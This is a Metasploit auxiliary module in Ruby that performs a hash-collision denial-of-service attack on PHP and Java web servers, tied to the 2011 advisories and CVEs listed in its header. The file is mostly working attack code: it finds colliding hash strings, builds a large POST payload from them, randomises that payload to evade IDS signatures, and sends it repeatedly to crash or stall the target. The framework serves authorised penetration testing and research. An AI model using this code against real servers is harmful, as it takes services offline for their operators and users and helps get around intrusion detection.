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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Auxiliary
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  include Msf::Exploit::Remote::HttpClient
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  include Msf::Auxiliary::Dos
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Hashtable Collisions',
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        'Description' => %q{
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          This module uses a denial-of-service (DoS) condition appearing in a variety of
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          programming languages. This vulnerability occurs when storing multiple values
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          in a hash table and all values have the same hash value. This can cause a web server
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          parsing the POST parameters issued with a request into a hash table to consume
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          hours of CPU with a single HTTP request.
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          Currently, only the hash functions for PHP and Java are implemented.
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          This module was tested with PHP + httpd, Tomcat, Glassfish and Geronimo.
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          It also generates a random payload to bypass some IDS signatures.
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        },
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        'Author' => [
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          'Alexander Klink', # advisory
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          'Julian Waelde', # advisory
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          'Scott A. Crosby', # original advisory
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          'Dan S. Wallach', # original advisory
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          'Krzysztof Kotowicz', # payload generator
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          'Christian Mehlmauer' # metasploit module
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          ['URL', 'http://ocert.org/advisories/ocert-2011-003.html'],
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          ['URL', 'https://web.archive.org/web/20120105151644/http://www.nruns.com/_downloads/advisory28122011.pdf'],
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          ['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/events/4680.en.html'],
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          ['URL', 'https://fahrplan.events.ccc.de/congress/2011/Fahrplan/attachments/2007_28C3_Effective_DoS_on_web_application_platforms.pdf'],
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          ['URL', 'https://www.youtube.com/watch?v=R2Cq3CLI6H8'],
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          ['CVE', '2011-5034'],
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          ['CVE', '2011-5035'],
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          ['CVE', '2011-4885'],
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          ['CVE', '2011-4858']
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        ],
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        'DisclosureDate' => '2011-12-28',
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        'Notes' => {
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          'Stability' => [CRASH_SERVICE_DOWN],
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          'SideEffects' => [],
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          'Reliability' => []
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        }
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      )
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    )
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    register_options(
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      [
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        OptEnum.new('TARGET', [ true, 'Target to attack', nil, ['PHP', 'Java']]),
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        OptString.new('URL', [ true, 'The request URI', '/' ]),
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        OptInt.new('RLIMIT', [ true, 'Number of requests to send', 50 ])
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      ]
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    )
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    register_advanced_options(
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      [
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        OptInt.new('RecursiveMax', [false, 'Maximum recursions when searching for collisionchars', 15]),
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        OptInt.new('MaxPayloadSize', [false, 'Maximum size of the Payload in Megabyte. Autoadjust if 0', 0]),
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        OptInt.new('CollisionChars', [false, 'Number of colliding chars to find', 5]),
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        OptInt.new('CollisionCharLength', [false, 'Length of the collision chars (2 = Ey, FZ; 3=HyA, ...)', 2]),
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        OptInt.new('PayloadLength', [false, 'Length of each parameter in the payload', 8])
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      ]
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    )
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  end
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  def generate_payload
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    # Taken from:
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    # https://github.com/koto/blog-kotowicz-net-examples/tree/master/hashcollision
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    @recursive_counter = 1
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    collision_chars = compute_collision_chars
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    return nil if collision_chars.nil?
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    length = datastore['PayloadLength']
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    size = collision_chars.length
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    post = ''
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    max_value_float = size**length
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    max_value_int = max_value_float.floor
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    print_status("#{rhost}:#{rport} - Generating POST data...")
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    for i in 0.upto(max_value_int)
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      input_string = i.to_s(size)
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      result = input_string.rjust(length, '0')
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      collision_chars.each do |key, value|
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        result = result.gsub(key, value)
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      end
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      post << "#{Rex::Text.uri_encode(result)}=&"
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    end
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    return post
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  end
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  def compute_collision_chars
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    print_status("#{rhost}:#{rport} - Trying to find hashes...") if @recursive_counter == 1
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    hashes = {}
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    counter = 0
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    length = datastore['CollisionCharLength']
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    a = []
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    for i in @char_range
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      a << i.chr
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    end
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    # Generate all possible strings
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    source = a
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    for _ in Range.new(1, length - 1)
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      source = source.product(a)
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    end
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    source = source.map(&:join)
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    # and pick a random one
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    base_str = source.sample
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    base_hash = @function.call(base_str)
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    hashes[counter.to_s] = base_str
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    counter += 1
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    for item in source
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      if item == base_str
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        next
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      end
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      if @function.call(item) == base_hash
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        # Hooray we found a matching hash
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        hashes[counter.to_s] = item
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        counter += 1
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      end
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      if counter >= datastore['CollisionChars']
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        break
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      end
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    end
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    if counter < datastore['CollisionChars']
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      # Try it again
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      if @recursive_counter > datastore['RecursiveMax']
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        print_error("#{rhost}:#{rport} - Not enough values found. Please start this script again.")
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        return nil
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      end
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      print_status("#{rhost}:#{rport} - #{@recursive_counter}: Not enough values found. Trying again...")
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      @recursive_counter += 1
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      hashes = compute_collision_chars
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    else
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      print_status("#{rhost}:#{rport} - Found values:")
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      hashes.each_value do |item|
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        print_status("#{rhost}:#{rport} -\tValue: #{item}\tHash: #{@function.call(item)}")
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        item.each_char do |c|
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          print_status("#{rhost}:#{rport} -\t\tValue: #{c}\tCharcode: #{c.unpack('C')}")
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        end
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      end
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    end
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    return hashes
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  end
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  # General hash function, Dan "djb" Bernstein times XX add
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  def djbxa(input_string, base, start)
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    counter = input_string.length - 1
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    result = start
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    input_string.each_char do |item|
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      result += ((base**counter) * item.ord)
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      counter -= 1
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    end
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    return result.round
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  end
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  # PHP's hash function (djb times 33 add)
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  def djbx33a(input_string)
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    return djbxa(input_string, 33, 5381)
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  end
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  # Java's hash function (djb times 31 add)
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  def djbx31a(input_string)
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    return djbxa(input_string, 31, 0)
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  end
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  def run
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    case datastore['TARGET']
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    when /PHP/
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      @function = method(:djbx33a)
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      @char_range = Range.new(0, 255)
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      if (datastore['MaxPayloadSize'] <= 0)
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        datastore['MaxPayloadSize'] = 8   # XXX: Refactor
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      end
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    when /Java/
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      @function = method(:djbx31a)
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      @char_range = Range.new(0, 128)
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      if (datastore['MaxPayloadSize'] <= 0)
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        datastore['MaxPayloadSize'] = 2   # XXX: Refactor
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      end
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    else
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      raise "Target #{datastore['TARGET']} not supported"
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    end
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    print_status("#{rhost}:#{rport} - Generating payload...")
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    payload = generate_payload
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    return if payload.nil?
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    # trim to maximum payload size (in MB)
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    max_in_mb = datastore['MaxPayloadSize'] * 1024 * 1024
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    payload = payload[0, max_in_mb]
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    # remove last invalid(cut off) parameter
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    position = payload.rindex('=&')
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    payload = payload[0, position + 1]
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    print_status("#{rhost}:#{rport} -Payload generated")
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    for x in 1..datastore['RLIMIT']
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      print_status("#{rhost}:#{rport} - Sending request ##{x}...")
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      opts = {
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        'method'	=> 'POST',
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        'uri'	=> normalize_uri(datastore['URL']),
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        'data'	=> payload
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      }
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      begin
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        c = connect
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        r = c.request_cgi(opts)
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        c.send_request(r)
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        # Don't wait for a response, can take hours
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      rescue ::Rex::ConnectionError => e
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        print_error("#{rhost}:#{rport} - Unable to connect: '#{e.message}'")
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        return
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      ensure
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        disconnect(c) if c
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      end
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    end
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  end
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end
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